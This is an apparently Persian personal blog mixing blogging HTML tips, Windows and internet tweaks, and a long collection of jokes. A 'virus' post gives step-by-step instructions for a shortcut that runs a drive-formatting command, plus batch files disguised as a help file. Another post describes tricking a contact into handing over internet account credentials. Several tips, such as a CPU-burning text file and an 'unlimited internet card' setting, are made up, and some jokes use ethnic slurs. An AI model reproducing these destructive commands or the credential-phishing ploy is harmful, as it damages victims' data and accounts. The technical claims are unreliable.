تبليغاتX
گشتم نبود نگرد نیست

گشتم نبود نگرد نیست

DOOZAKH

گذاشتن عکس و لوگو:


برای گذاشتن عکس در وبلاگ به دو صورت می باشد.
حالت اول:
شما عکسی رو بروی انترنت دارید و میخواهید آنرا در وبلاگ قرار دهید. که در این حالت کار زیاد سختی رو ندارید می توانید با کلیک راست بروی عکس به گزینه Properties رفته و آدرس عکس رو گرفته و در کد زیر قرار دهید:
<img border="0" src="آدرس عکس">
و اگر بخواهید برای عکس خود طول و عرضی, و شرحی بنویسید می توانید از تگ زیر استفاده کنید:
<img src="آدرس عکس" width=عرض عکس HEIGHT=طول عکس BORDER=0 ALT="شرح عکس">
برای مثال:
<img src="http://bolghan.com/tools/Image/bolghanTool2.jpg" width=88 HEIGHT=33 BORDER=0 ALT="بلغان تولز">
که نتیجه کار به صورت زیر خواهد بود:

حال اگر بخواهید بروی عکس خود لینک بگذارید می توانید از تگ زیر استفاده کنید.:
<a href="URL"><img border="0" src="آدرس عکس"></a>

حالت دوم:
در این حالت که بیشترین مورد هم می باشد عکس شما بروی هارد می باشد که باید بروی اینترنت منتقل کرد. برای انتقال آن ابتدا باید یک فضای خالی و ابزارهای آپلود فایل (از طریق اینترنت اکسپلورر, فرونت پیچ و FTP) را داشته باشید. بیشترین مشکلی که بلاگرها با آن مواجه هستند فضای خالی و مجانی میباشد که بتوان عکسها و فایلها خود را بروی آن ذخیره کرد. من در پایان این مبحث چندین سایت رو برای گذاشتن و یا گرفتن عکس معرفی خواهم کرد.



کدراست کلیک قفل کردن فقط کافیه طرف ۲بار کلیک کنه




کد گل باران در سایت یا وبلاگ



اين کد باعث ميشه که در صفحه شما ستاره پخش بشه

بارش برف
با اضافه کردن این کد به قالب وبلاگتون زمستان را ببینید.


جمله متحرک از چپ به راست
این کد کوچک باعث می شه که یه نوشته ی متحرک در هر کجا از وبلاگ که خواستید ایجاد بشه.


تركه خبر داغ مي‌شنود، گوشش مي‌سوزد!
يک افکت متنی جالب ديگر که در ان رقص نوری بوجود می ايد.



به حرکت در آوردن تيتر سایت يا وبلاگ 2
اين کد ميتونه تيتر وبلاگ یا سایت شما رو به صورت متحرک در بیاره.


بازدبببببالاغعغيد کنندگانتان را چند برابر کنيد
بازدید کنندگان را چند برابر کنید
در واقع مهمترین عامل برای بازدید امتیاز بالا در موتور های جستجو به خصوص گوگل است.يعني به معمولا حدود 90% بازديد سايتتان اؤ موتور جستجو است اگر امتیازتان بالا باشد سایتتان در صفحات اول سرچ به نمایش گذاشته میشود.اما این سوال پیش می اید که چه عواملی در این امر موثر است:
1-همانطور که میدانید ابتدا باید سایت را ثبت کرد.(اموزش ان در اموزش متفرقه بلاگنويسی امده است )

2-مهمترین عامل در جستجو نام وبلاگ/ وب یا tittle است که جستجوگر ابتدا به دنبال سایت هایی میگردد که نام ان با عبارت تایپ شده برای جستجو همخوانی داشته باشد.پس همیشه سعی کنید نام وبلاگتان را چیزی قرار دهید که در موتورهای جستجو زیاد سرچ میشود.

3-یکی دیگر از عوامل مهم تعداد دفعاتی است که کلمه مورد نظر در سایت تکرار شده است.
۴-یکی دیگر از عوامل مهم قرار دادن ان موتورجستجو در سایت است که معمولا همان سایت کدش را در اختیارتان قرار میدهد..(اموزش ان در اموزش متفرقه بلاگنويسی امده است )


اين هم يک افکت زيبا که در ان نوشته شما رقص نور پيدا ميکند


با استفاده از کد زير مي توانيد مرلين جادوگر را در وبلاگ خود داشته باشيد

مرلین ۲


+ نوشته شده در  ساعت 21:27  توسط حمید  | 

ویروس










*********************************************
ميخوام نوشتن يه ويروس ساده ولي خطرناكو بهتون ياد بدم.
اين ويروس چيز سختي نيست ولی خيلي خطرناكه.
اول از همه روي دسكتاپ رايت كليك كنيد بعدش New ShortCut بسازيد.
يه صفحه باز ميشه در اون بنويسيد: Format C:/Autotest
سپس Next را زده و در صفحه جديد كه باز ميشه يه اسم واسه ويروستون انتخاب كنيد.
سپس Next را زده ويه آيكون با سليقه خودتون براي اون انتخاب كرده و Finish كنيد.
خب ديگه كارمون تمومه حالا اگه اجراش كنين بيچاره ميشين.
اگه خواستين بفهمين چي ميشه به جاي Format C:/autotest بنويسيد Format a:/autotest و يه فلاپي كه حاوي اطلاعات هستش در Flopy Drive خود قرار دهيد بعد اجراش كنيد بعد برين سراغ فلاپيتون ببينيد چي شده.ميبينيد فلاپي پاك شده وديگه نه ميشه اطلاعات روش ريخت ونه ميشه فرمتش كرد.
*********************************************
این ویروس باعث میشه ساعت و تاریخ ویندوز صفر بشه.
یه صغحه ی نوت پد باز کنید و کد زیر رو توش بنویسد و با نام Time0.bat سیو کنید.
@Echo off
time=0:0:0
۲باره یه صفحه ی نوت پد باز کینید و پس از کپی کردن کد زیر با نام Date0.bat سیو کنید.
@ECHO OFF
date=10-10-10
۲باره یه صفحه ی نوت پد باز کینید و پس از کپی کردن کد زیر با نام Comment.bat سیو کنید.
@echo off
echo I AM A VIRUS
echo SEAT AND SEE MY POWER!!!...
pause
۲باره یه صفحه ی نوت پد باز کینید و پس از کپی کردن کد زیر با نام Help.bat سیو کنید.
START TIME0
START DATE0
START comment
این دفعه دیگه نوت پدو باز نکنین.رو ی help.bat کلیک راست بکنین و Create ShortCut رو بزنین بد روی شرت کات ساخته شده کلیک راست کنین properties رو بزنین بعد تو قسمت General به جای نام فایلتون بزنین help.txt حالا اگه روی این فایل کلیک کنین میبینین چی میشه.
این ویروس سی پی یو فرد قربانی رو میسوزونه.

ما آموزش ساختن این ویروس رو به شما یاد میدهیم.

۱:روی دسک تاپ رایت کلیک کنید.

۲:گزینه newرو انتخاب کنید.

۳:text doceument رو انتخاب کنید

۴:حالا وارد تکست داکیومنت خود شوید و در آن تایپ کنید

۵: cpu_567hjkblaster

6:حالا از آن خارج شوید و روش رایت کلیک کنید

۷:گزینه rename رو انتخاب کنید و یک اسم دلخواه برای آن فایل بگذارید.

۸:بعد این فایل رو برای یکی بفرستید

+ نوشته شده در  ساعت 21:27  توسط حمید  | 

آسانتر شدن فرستادن دعوت نامه جی می

ل
از آنجایی که فرستادن دعوت نامه ها تنها راه گسترش جی میل هستند, مدیران گوگل تصمیم گرفتند امکان فرستادن دعوت نامه جی میل رو کمی عوض کنند تا افراد تنبل تر هم به فرستادن جی میل ترغیب بشوند. در روش قبلی شما برای دعوت کسی به جی میل باید روی لینکی که تعداد دعوت نامه های موجود برای شما رو نشون می داد کلیک می کردید, صفحه ای باز می شد آدرس ایمیل کسی رو که می خواستید جی میل براش بفرستین رو وارد می کردین تا یک دعوت نامه براش فرستاده شه. اما در روش جدید کار خیلی آسون تر شده. به عکس پایین نگاه کنید. یک کادر برای فرستادن دعوت نامه درست شده. یک کادر هم در داخلش برای تایپ آدرس ایمیل کسی که می خواهید جی میل براش فرستاده بشه در نظر گرفته شده. کنارش هم یک کانتر وجود داره که تعداد دعوت نامه های باقیمانده رو نشون می ده. حالا دیگه کافیه داخل اون کادر ایمیل کسی رو که می خواهید دعون نامه براش ارسال بشه رو بنویسید, بعد هم روی دکمه فرستادن دعوت نامه Send Invite کلیک کنید. حالا دیگه به نظر می رسه تنبل ترین افراد هم حوصله فرستادن یک دعوت نامه ناقابل رو برای دوستانشون پیدا کنند

+ نوشته شده در  ساعت 21:24  توسط حمید  | 

اینترنت

اتصال به اینترنت بدون نیاز به Username و Password:
ظرفیت سرویس هوشمند ارتقاء یافت.
با توجه به استقبال شما کاربران گرامی در استفاده از سرویس هوشمند مروا ظرفیت این خطوط افزایش یافته است. کلیه مشترکین با اتصال به شماره های ده رقمی جدید شبکه هوشمند (9092302424 و 9092303031 و9092302426) میتوانید بدون کارت اينترنت در هر زمان، بدون Username و Password به اینترنت شبکه مروا متصل شوید.
هزینه این سرویس هر دقیقه 5 تومان میباشد و مبلغ کارکرد شما به هزینه قبض تلفنتان در آن دوره افزوده خواهد شد.
افزايش سرعت اينترنت در ويندوزXP

در ويندوز XP درحالت پيش فرض Packet Scheduler سيستم را به 20 درصد از پهناي باند يك اتصال به اينترنت محدود مي كند. يعني اگر شما اين تنظيمات را تغيير ندهيد قادريد از 20 درصد پهناي باند اتصال تان به اينترنت بهره ببريد. براي اين كه بتوانيد از 100 درصد پهناي باندتان استفاده كنيد مراحل زير را انجام دهيد. Run را از منوي Start اجرا كنيد. در Run عبارت gpedit.msc را تايپ كرده و OK را كليك كنید. منتظر بمانيد تا Group Policy اجرا شود. در بخش Local Comuter Policy و در زير Computer Configuration گزينه Administrative Templatesرا گسترش دهيد.اين كار با كليك بر روي علامت + انجام دهيد. در ليست باز شده گزينه Network را نيز گسترش دهید. حال در اين ليست Qos Packet Scheduler را انتخاب كنيد. به گزينه هايي كه در سمت راست ظاهر مي شوند دقت كنيد. بر روي Limit reseivable bandwidth كليك راست كرده و Properties را كليك كنيد. پس از اينكه پنجره ي Limit reservable bandwidth Properties باز شد در برگه Setting و در زير Limit reservable bandwidth گزينه Enabled را انتخاب كنيد. مشاهده مي كنيد كه با انتخاب آن در روبروي Bandwidth Limit مقدار پيش فرض آن يعني 20 درصد به نمايش در مي آيد. به جاي عدد 20 مقدار 0 را تايپ كرده و OK را كليك كنيد. حال به Connection كه به وسيله آن به اينترنت وصل مي شويد رفته و بر روي دكمه ي Properties كليك كنيد. به برگه Networking برويد و دقت كنيد كه Packet Scheduler فعال باشد تيك كنار آن مشاهده شود. اين پنجره را OK كنيد. كامپيوتر خود را Restart كنيد





برای دزدیدن کارت اینتر نت باید در یک شرکت مخابرات عضو شوید که بسیار آسان است با عضو شدن در سایت http://www.mail.com/ ۲:وارد میل خود شوید بعد یک پیغام برای فردی بفرستید۳:بعد از گرفتن پاسخ میل از او بخواهید که نام اکانتش را به شما بدهد۴:بعد مثلا که نام اکانتشterryبود شما اصتلاح زیر را ا بانام اکانتش برای او بفرستید.۵:مانند:line_terryphones.modems dail_upدقیقا مثل من فاصله ها خط ها و نقطه ها را رعایت کنید۶:در جواب او زیر نوشته هایش

یک عبارت مانند sepanta_username:42536وsepanta_password:82765وجود دارد حالا شما یک کارت اینتر نت دزدیده اید.

+ نوشته شده در  ساعت 21:23  توسط حمید  | 

حل برنامه های قدیمی بر روی ویندوز XP

خيلی از ما شايد در هنگام کار با ويندوز XP به اين مشکل برخورد کرده باشیم که بعضی از برنامه های قديمی در ويندوز XP نصب ميشوند ولی اجرا نمي شوند.

بايد چکار کرد؟
راه حل : در اين مواقع کافی است روی فايل مورد نظر کليک راست کرده و گزينه Properties را انتخاب کنيم. بعد به زبانه Compatibility ميرويم. در ادامه با فعال کردن گزينه Run this program in compatibility for و بعد انخاب سيستم عامل سازگار از منوی زير آن و بعد زدن کليد OK , ميتوان آن برنامه را به راحتی اجرا کرد
+ نوشته شده در  ساعت 17:44  توسط حمید  | 

اجرا کردن کدهای جاوا بر روی کامپیوتر

برای اجرا کردن کد های جاوا بر روی کامپیوتر باید از برنامه ی Notepad که همراه ویندوز وجود دارد

 

استفاده کنید این برنامه در مسر start _AllPrograms_Accessories_Notepadقرار دارد

 

بعد از باز کردن برنامه کدهای جاوا را  درون ان کپی کنید سپس در قسمت فایل برنامه ی save As

 

را انتخاب کنید پنجره ای باز میشود که در پایین پنجره قسمتی برای انتخاب نام فایل(File name)وجود دارد

 

در آن قسمت شما باید نامی با پسوند html را بنویسید مثلا vahid.html و بعد برنامه را ذخیره کنید

 

حال فایل را باز کنید تا نحوه ی عمل کد جاوا را را مشاهده بکنید

نوشته شده توسط علیرضا بیات در ساعت 20:7 | لینک  |  نظر بدهید نظر بدهید

+ نوشته شده در  ساعت 17:5  توسط حمید  | 

افزايش سرعت اينترنت در ويندوزXP

 

در ويندوز XP درحالت پيش فرض Packet Scheduler سيستم را به 20 درصد از پهناي باند يك اتصال به اينترنت محدود مي كند. يعني اگر شما اين تنظيمات را تغيير ندهيد قادريد از 20 درصد پهناي باند اتصال تان به اينترنت بهره ببريد. براي اين كه بتوانيد از 100 درصد پهناي باندتان استفاده كنيد مراحل زير را انجام دهيد. Run را از منوي Start اجرا كنيد. در Run عبارت gpedit.msc را تايپ كرده و OK را كليك كنید. منتظر بمانيد تا Group Policy اجرا شود. در بخش Local Comuter Policy و در زير Computer Configuration گزينه Administrative Templatesرا گسترش دهيد.اين كار با كليك بر روي علامت + انجام دهيد. در ليست باز شده گزينه Network را نيز گسترش دهید. حال در اين ليست Qos Packet Scheduler را انتخاب كنيد. به گزينه هايي كه در سمت راست ظاهر مي شوند دقت كنيد. بر روي Limit reseivable bandwidth كليك راست كرده و Properties را كليك كنيد. پس از اينكه پنجره ي Limit reservable bandwidth Properties باز شد در برگه Setting و در زير Limit reservable bandwidth گزينه Enabled را انتخاب كنيد. مشاهده مي كنيد كه با انتخاب آن در روبروي Bandwidth Limit مقدار پيش فرض آن يعني 20 درصد به نمايش در مي آيد. به جاي عدد 20 مقدار 0 را تايپ كرده و OK را كليك كنيد. حال به Connection كه به وسيله آن به اينترنت وصل مي شويد رفته و بر روي دكمه ي Properties كليك كنيد. به برگه Networking برويد و دقت كنيد كه Packet Scheduler فعال باشد تيك كنار آن مشاهده شود. اين پنجره را OK كنيد. كامپيوتر خود را Restart كنيد

+ نوشته شده در  ساعت 17:4  توسط حمید  | 

ثبت کردن وبلاگ در گوگل و موتورهای جستجو

برای اینکه وبلاگ یا سایت خود را به گوگل پیوند بزنید به خود سایتgoogle.com رفته و وارد قسمت همه چیز درباره گوگل شوید سپس اضافه کردن وب به گوگل را زده در قسمت بعد به صورت

 

فارسی به شما گفته شده است که چکار کنید. اگر گوگلتان فارسی نیست برای فارسی کردن آن در همان صفحه اول language را زده و در صفحه بعد فارسی را انتخاب کنید.ضمنا اگر میخواهید

 

وبلاگ یا سایت خود را به 50 موتور جستجوگر اضافه کنید ابتدا به سایتwww.add-url-free.com بروید و بعد اطلاعات مورد نیاز را پر کرده و ثبت نام نمایید.

+ نوشته شده در  ساعت 17:3  توسط حمید  | 

3ترفند اینترنتی جالب

نامحدود کردن واقعی کارت اینترنت

 

با انجام این روش میتوانید کارت اینترنت خود را زیاد کنید.برای انجام این کار بر روی کانکشن خود رفته و گزینه properties را انتخاب کنید سپس به روی

 

گزینهadvanced بروید و گزینه settings را انتخاب کنید سپس در پنجره باز شده فایل edit را انتخاب کنید و در جای خالی بنویسدproxyserver_90 و ok کنید.پس از انجام مراحل

 

هم کامپیوتر را ریستارت کنید.البته شما میتوانید عدد دیگری غیر از 90 بگذارید.

 

افزایش سرعت اینترنت

 

برای این منظور در رجیستری به دنبال فرمان زیر بگردید:HKEY_current_user/software/microsoft/windows/current_version/internet settings

 

سپس دنبال دو فایل maxconnectionsper1_0server و maxconnectionsperserver و مقدار اولی را a و مقدار دومی را 8 قرار دهید.

 

افزایش سرعت دانلود

 

برای افزایش سرعت دانلود در دسکتاپ راست کلیک کرده و وارد گزینه properties شوید سپس در پنجره desktop وارد گزینه customize desktop شوید و سپس منوی web

 

را انتخاب کنید و به بخش properties بروید و منوی download را انتخاب کنید و گزینه limit hard_disk usage for this page to: را روشن کرده و عدد آن را زیاد کنید.

 

+ نوشته شده در  ساعت 17:3  توسط حمید  | 

چگونه پسورد ID و Email خود را از طریق مسنجر تغییر دهیم !

 

اگر بخواهید پسورد ID خود را عوض کنید چگونه این کار

 

 را انجام می دهید ؟ از آنجائیکه کاربران با مسنجر بیشتر کار دارند تا ایمیل ، برای آن دسته از دوستانی که احتمالا نمی دانند چگونه پسورد ID خود را مستقیما از طریق یاهومسنجر عوض کنند روش این کار

 

را بیان می کنیم . برای انجام این کار مراحل زیر را دنبال کنید :

 

 1 ) با ID و پسورد خودتان وارد Yahoo! Messenger شده و Connect شوید.

 

 2 ) پس از اتصال از طریق منوی Messenger به قسمت Yahoo! Account Info بروید و آن را انتخاب کنید.Yahoo! Messenger در این حالت شما را به صفحه خاصی

 

 هدایت می کند .

 

3 ) پس از ظاهر شدن کامل صفحه که در آن ID شما قرار دارد و از شما خواسته می شود که مجددا پسورد خود را وارد کنید .

 

 4 ) بعد از وارد کردن پسورد خود به صفحه دیگری می روید

 

 ۵)که در آن گزینه Change Password به رنگ آبی قرار دارد

 

6) Change Password را انتخاب کنید تا به صفحه دیگری بروید .در آن جا از شما خواسته می شود

 

 ابتدا پسورد قبلی ودر دو قسمت بعدی

 

پسورد جدید را وارد کنید . و برای ثبت تغیرات گزینه Save را فشار دهید. حال پسورد ID شما عوض

 

 شده است.

+ نوشته شده در  ساعت 17:2  توسط حمید  | 

طریقه قرار دادن موزیک در وبلاگ:

 

 

در اين مورد هم مثل مورد قبلی دو حالت وجود داره.يا موزيک آپلوود بروی شبکه هست يا اينکه در ديسک سخت شماست. در مورد اول کافيست آدرس اونرو داخل کد زير بگنجانيد تا موزيک مورد بهره برداری قرار گيرد:

 

 

 

 

<BGSOUND src="Music Address" loop="-1">

 

 

ابتدا کد را کامل به نوت پد منتقل کرده و سپس به جای Address ٬ آدرس موزيک روی وب رو قرار بدهيد. در مورد دوم بايد موزيک رو خودتون آپلوود کنيد که شرح آن در مطالب قبلی وبلاگ آمده است. در مورد اينکه کد رو کجا وارد کنيد زياد محدوديتی در کار نيست.فقط اينکه ميان کدهای مربوط به سيستمی خاص يا ... مسلما نبايد کپی بشه.چون هم باعث اختلال در کار اون سيستم خواهد شد و هم خودش ممکنه کار نکنه. چيزی که واضحه اينه که هرچقدر در سند Html وبلاگ بالاتر قرار بگيره زودتر توسط مرورگر مورد بازبينی قرار ميگيره و خوب زودتر لوود خواهد شد. بهتره این کد رو بعد از تگهای مربوط به عنوان وبلاگ کپی کنید.منظورم کدهای <TITLE> و <TITLE/> هست.

 

دوست عزیز شما باید کد نوار اسکرول را در قسمت ویرایش قالب قرار دهید که عمل کند.ودرباره قراردادن

 

وضعیت online یا offline باید از نرم افزار front page کمک بگیرید که در بسته ی office قرار دارد و کار

 

کردن با آن بسیار راحت است.ضمنا اگر سوالهایتان را در قسمت تابلوی گفتمان بنویسید ممنون میشوم.

+ نوشته شده در  ساعت 16:5  توسط حمید  | 

جوووووووووووووووووووووووووووووووووووووووووووووووووووووک

جکهای جديد

غضنفر

تايتانيك
از غضنفر پرسيدن
: فيلم تايتانيك رو ديدي؟
گفت: آره، ولي نفهميدم تايتانيك پسره بود يا
دختره؟

 

عيد كجا مي‏ري؟
يكي از غضنفر
پرسيد: عيد كجا مي‏ري؟
گفت: اگر امام رضا بطلبه مي‏رم
شمال.

 

عوضي گرفت
غضنفر يه نفر رو تو
خيابون ديد و پرسيد: شما علي پسر ممدآقا پاسبان نيستي كه توي ابهر سر كوچة چراغي مأمور بود؟
پسر گفت: چرا!؟

غضنفر گفت: ببخشيد! عوضي
گرفتم.

 

موقع خواب
غضنفر چشماش رو بسته
بود و روبروي آينه ايستاده بود. مي‏خواست ببينه موقع خواب چه شكلي مي‏شه.

 

سوختگي شديد
وقتي مريض رو به
بيمارستان سوانح و سوختگي رسوندند، دكتر ديد بيمار سوخته، امّا تمام تنش زخمي هست. پرسيد: چي شده؟
غضنفر گفت: سوخته
.
دكتر پرسيد: پس چرا زخمي شده؟

غضنفر
گفت: آخه خاموشش كرديم.
دكتر پرسيد: با چي؟

غضنفر گفت: با بيل
.
توي گواهي فوتش نوشتند ده درصد سوختگي نود در صد کوفتگي

 

سه تا فوتباليست
به غضنفر
مي‏گن: سه تا فوتباليست نام ببر.
مي‏گه: علي دايي، كريم باقري، فرار
مهدوي‏كيا

 

سال 52
غضنفر ادعا مي‏كرد كه
خيلي آدم قدرتمندي است.
گفتند: مثلاً چي كار كردي؟

گفت: سال 52 دو نفر رو
كتك زدم.
گفتند: اين كجاش عجيبه؟

گفت: آخه اون موقع دو نفر خيلي
بود.

 

پدرش
غضنفر زنگ زد به
دوست‏دخترش، اما از بخت بد پدر دختر گوشي رو برداشت. غضنفر از ترس گفت: ساعت 10 و 21 دقيقه، ساعت 10 و 21 دقيقه...

 

هشت تا
غضنفر از پسرش پرسيد
: دو دو تا چند تا مي‏شه؟
پسر گفت: هشت تا
.
غضنفر گفت: نه پسرم، دو دو تا
مي‏شه چهار تا، فوق فوقش مي‏شه پنج تا، ولي هيچوقت هشت تا نمي‏شه.

 

پروانه
غضنفر با دختري به اسم
«آهو» آشنا شد. بعد از دو ساعت حرف زدن به او گفت:
-
غزال‏خانم! شغل باباتون
چيه؟
آهو گفت: اسم من غزال نيست، اسمم آهو هست
.
غضنفر گفت: چه فرقي مي‏كنه،
حيوان حيوانه.


غلو

توليد مثل
يك عرب پشت اتاق
مخصوص نوزادان ايستاده بود و داشت نوزادان كوچك را تماشا مي‏كرد. مردي از او پرسيد: بچة شما كدومه؟
مرد عرب گفت: اون دوتا رديف بالايي
.


جوات

جلال آل ‏احمد
جواد گفت: اين جلال آل
‏احمد كه هي ازش تعريف مي‏كنن فقط يه كتاب خوب نوشته، اونم بوف‏كوره.
يكي گفت: بوف‏كور مال صادق
هدايته.
جواد گفت: ديگه بدتر، يه كتاب خوب داره اونم صادق هدايت براش
نوشته.

 

نحوة خبررساني
به فرمانده
پادگان خبر دادند كه پدر يكي از سربازان يك روز قبل مرده است. فرمانده گروهبان را احضار كرد و به او گفت:
-
برو و به اميرخاني خبر بده كه پدرش مرده، منتهي جوري
خبر بده كه ناراحت نشه و ضمناً اصول نظامي رو هم رعايت كن.
گروهبان سربازان رو
به صف كرد و گفت:
-
هر كدوم از شما كه پدرش امروز مرده يك قدم بياد جلو
.
كسي جلو نيامد، گروهبان گفت
:
-
سرباز اميرخاني! چون از دستور مافوق اطاعت
نكردي، يه هفته بازداشتي.

 

عافيت باشه
جواد عطسه كرد. بهش
گفتند: عافيت باشه.
جواد گفت: يه بار ديگه زرت و پرت كني مي‏زنم پك و پوز تو
خورد مي‏كنم.


سياست

نطق انتخاباتي
يك كانديداي
انتخابات رياست‏ جمهوري آمريكا در نطق انتخاباتي ‏اش مي‏گفت:
-
ما همه با هم برابريم، رنگ پوست معيار خوبي براي
جدا كردن آدم‏ها نيست، همه مثل هم هستيم، چه سفيدهايي كه خوشگلند، چه سياه‏هاي بوگندو، چه زردپوست‏هاي كوتوله زردنبو، چه سرخ‏پوست‏هاي وحشي، هيچ كدام با هم فرق ندارند.

 

چرا دوست عزيز؟
مدير اداره معاونش رو احضار كرد و بهش گفت
:
-
آقاجان
! اين چه نامه‏اي يه نوشتي؟ براي اين مرتيكة دزد نوشتي دوست عزيز؟ برو نامه رو عوض كن.
معاون گفت: به جاي دوست عزيز چي بنويسم؟

مدير گفت: همون كه واقعيت داره
بنويس، مثلاً بنويس همكار عزيز.

 

پاسخ منطقي
منشي از مردي كه
تقاضاي ملاقات كرده بود، پرسيد:
-
شما با ايشون دوست هستيد، يا باهاشون حساب و
كتاب داريد، يا كار اداري؟
مرد گفت: اولاً بيست ساله دوست هستيم، ثانياً ازش يك
ميليون پول طلب دارم، ثالثاً مي‏خوام باهاش در مورد يه پرونده اداري هم مشورت كنم.
منشي گفت: اولاً تا دو دقيقه ديگه مي‏تونيد ايشون رو ببينيد، ثانياً ايشون
مرخصي هستن و تا يه هفته ديگه نمي‏آن، ثالثاً ايشون جلسه دارن.

 

ده سال زندان
قاضي: آقاي اكبر
محمدزاده! شما را به جرم جاسوسي و اقدام عليه امنيت كشور با تخفيف به ده سال زندان محكوم مي‏كنم.
متهم: من اعتراض دارم، اولاً من اكبر محمدزاده نيستم، بلكه محمد
اكبرزاده هستم، ثانياً جاسوسي نكردم و عليه امنيت كشور هم اقدام نكردم.
قاضي
: به همين دليل هم بهت تخفيف دادم، اگر اكبر محمدزاده بودي اعدامت مي‏كردم.

 

زنداني سياسي
زنداني سياسي پس
از آزادي از زندان دچار مشكل رواني شد و به روانپزشك مراجعه كرد. روانپزشك بعد از گوش دادن به حرف‏هاي او گفت: حالا ديگه بايد تلاش كني محكم روبه‏روي بدبختي‏ها بايستي و به اون‏ها بخندي.
زنداني سياسي گفت: دوست دارم، ولي مسئولان كشور ما
اصلاً اهل شوخي نيستن.

 

مغزتو داغون مي‏كنم
دزد مسلح
جلوي مردي رو گرفت و اسلحه روي پيشوني‏اش گذاشت و گفت: هر چي پول داري بده، وگرنه مغزتو داغون مي‏كنم.
مرد گفت: پول نمي‏دم ، چون تو اين مملكت بدون مغز مي‏شه
زندگي كرد، ولي بدون پول نمي‏شه.

 

فلسطين
عابر از يك تروريست پرسيد: آقا ساعت چنده؟

تروريست
: نمي‏دونم، ولي اين ساختمون روب‏رويي هر وقت منفجر شد، ساعت هشت شبه.

 

موضوع سخنراني
-
ما يه رئيس
داريم كه بسيار مسلط هست. اون مي‏تونه يك ساعت در مورد يك موضوع صحبت كنه.
-
اين كه چيزي نيست، ما يه رئيس داريم كه شيش ساعت سخنراني مي‏كنه، بدون اينكه موضوعي
وجود داشته باشه.

 

احراز صلاحيت
پدر از پسرش
پرسيد: اگر بزرگ شدي چي كاره مي‏شي؟
پسر گفت: سياستمدار
.
پدر گفت: مگه عقلت
كمه؟
پسر گفت: يعني شرطش اينه؟

 

مهندس ميرحسين موسوي
مهندس
ميرحسين موسوي نخست ‏وزير سابق كاملاً شبيه فيلم صامت است. سال‏هاست كه تصوير دارد، اما صدا ندارد.

 

دو دو تا
معلم از شاگرد پرسيد
: دو دو تا چند تا مي‏شه؟
شاگرد گفت: كجا؟ تو ايران؟


بچه مثبتها

برگشت
-
تو به من گفتي روي قول
من حساب كن، گفتي قول من مثل چك ميمونه.
-
درسته، ولي من چك‏هام هميشه برگشت
ميخوره.

 

بيرون
زن با شوهرش دعوا كرد
. مرد از جا برخاست، كتش را پوشيد و از خانه بيرون رفت. هشت سال گذشت.
مرد به
خانه آمد و در را باز كرد. كتش را درآورد و به جالباسي آويزان كرد. زن با بهت و حيرت آمد و به مرد گفت: كجا بودي؟
مرد با خونسردي گفت: رفته بودم
بيرون.

 

مو
مشتري توي سوپ مو پيدا كرد
. گارسون را صدا كرد و گفت:
-
مي‏شه بگي اين موي كيه توي سوپ من افتاده؟

گارسون گفت: من كه كچلم، احتمالاً مال آشپزمونه
.

 

موبايل شهرام جزايري
موبايل
شهرام جزايري خراب شد، براي اينكه تلفن بزنه به يك نمايشگاه اتومبيل رفت و چون روش نمي‏شد دست خالي بيرون بيايد يك ماشين خريد.

 

اونا دو تا ماهي بودن
دو تا
ماهي داشتند كنار هم توي دريا شنا مي‏كردند. همين موقع يك نفر با سروصداي زياد در حال شنا كردن از كنارشان رد شد.
ماهي اولي گفت: خاك برسرم! بلد نبود شنا كنه
.
ماهي دومي گفت: تو هم اگر دم نداشتي بدتر از اون شنا
مي‏كردي.

 

صندوقدار
نگهبان سراسيمه وارد
اتاق رئيس شد و گفت:
صندوقدار گم شده، زنگ زدم خونه
‏اش، اونجا هم نبود.
رئيس گفت
:زود گاوصندوق پول‏ها رو بررسي كن.
نگهبان گفت: گاوصندوق رو ديدم، اونجا هم نبود
.

 

كيك
گدا در خانه را زد و گفت
:
-
فقيرم، به من بيچاره يه تكه كيك بدين
.
صاحب‏خانه گفت: همه گداها پول
ميخوان، تو كيك مي‏خواي؟
گدا گفت: آخه روز تولدمه
.

 

اشتباه
رئيس ساعتش را گم كرد و
آبدارچي را متهم به دزدي كرد، اما بعد از دو روز ساعت را پيدا كرد و از آبدارچي عذرخواهي كرد.
آبدارچي گفت: اشكالي نداره! شما فكر مي‏كردين من دزد هستم، من هم
فكر مي‏كردم شما شعور داريد،‌ حالا معلوم شد هر دومون اشتباه كرديم.

 

كبريت
پدر: پسرجان، اين
كبريت‏ها كه همه‏شون سوخته است.
پسر
: نخير خودم امتحان كردم، دو دقيقه پيش همشون روشن شدن.

 

مسواك
پيرمرد هشتادساله رفت
داخل دستشويي و نيم ساعت آنجا ماند، وقتي بيرون آمد زن هفتادو پنجساله‏اش پرسيد:
-
نيم ساعت توي دستشويي چي‏كار مي
كردي؟
پيرمرد گفت: داشتم دندونامو مسواك
ميزدم.
پيرزن پرسيد: چرا اينقدر طول كشيد؟

پيرمرد جواب داد: آخه دندون‏هاي
تو رو هم مسواك زدم.

 

تنهايي
قاضي: تو به تنهايي اين همه پول
دزديدي؟
دزد: آره، بد زمونه
‏اي شده، به هيچكس نميشه اعتماد كرد.

 

اجازه
يك پسر كوچولو نصفه شب
داشت توي خيابون قدم ميزد. يكي بهش گفت: آقا پسر! چطوري تا اين وقت شب بيرون خونه هستي؟
پسره گفت: آخه من كه هنوز زن نگرفتم كه براي بيرون اومدن از خونه احتياج
به اجازه گرفتن داشته باشم.

 

كفش
شوهر نصفه شب از خواب
بيدار شد و صداي پاي دزد را شنيد. زنش را از خواب بيدار كرد و گفت: به نظرم توي اتاق پذيرايي يه دزد هست.
زن گفت: خاك برسرم! لابد مرتيكه لندهور داره با كفش
روي فرش راه ميره.

 

خطر
شاهين و شهين براي ازدواج
به يك محضر رفتند، اما با خودشان شاهد نبرده بودند. محضردار گفت: چرا دوستاتون به عنوان شاهد نيومدن؟
شاهين گفت: بد زمونه
‏اي شده، رفقا آدمو در هنگام خطر تنها مي‏ذارن.

 

تقويم
مرد: اين تقويم ناقصه
.
زن: چطور؟

مرد: تاريخ ازدواج ما رو توش ننوشته
.
زن: مگه بايد بنويسه؟

مرد: آره، همة تقويم
ها كلية‌ ايام عزاداري رو مي‏نويسن.

 

حرف
مادر گفت: پسرم، تو نبايد
وسط حرف من بپري، بذار حرف من تموم بشه، بعد حرف بزن.
پسرگفت: اون موقع كه شما
خوابيد.

 

مگس
مسافر به مدير رستوران
گفت: اتاق من پر مگس هست.
مدير رستوران گفت: ناراحت نباشين! يك ساعت ديگه وقت
ناهار كه شد همة مگس‏ها مي‏رن توي رستوران.

 

آواز
ميزبان از يكي از
مهمان‏ها خواست آواز بخونه. مهمون گفت: آخه ديروقته، همسايه ‏ها ناراحت ميشن.
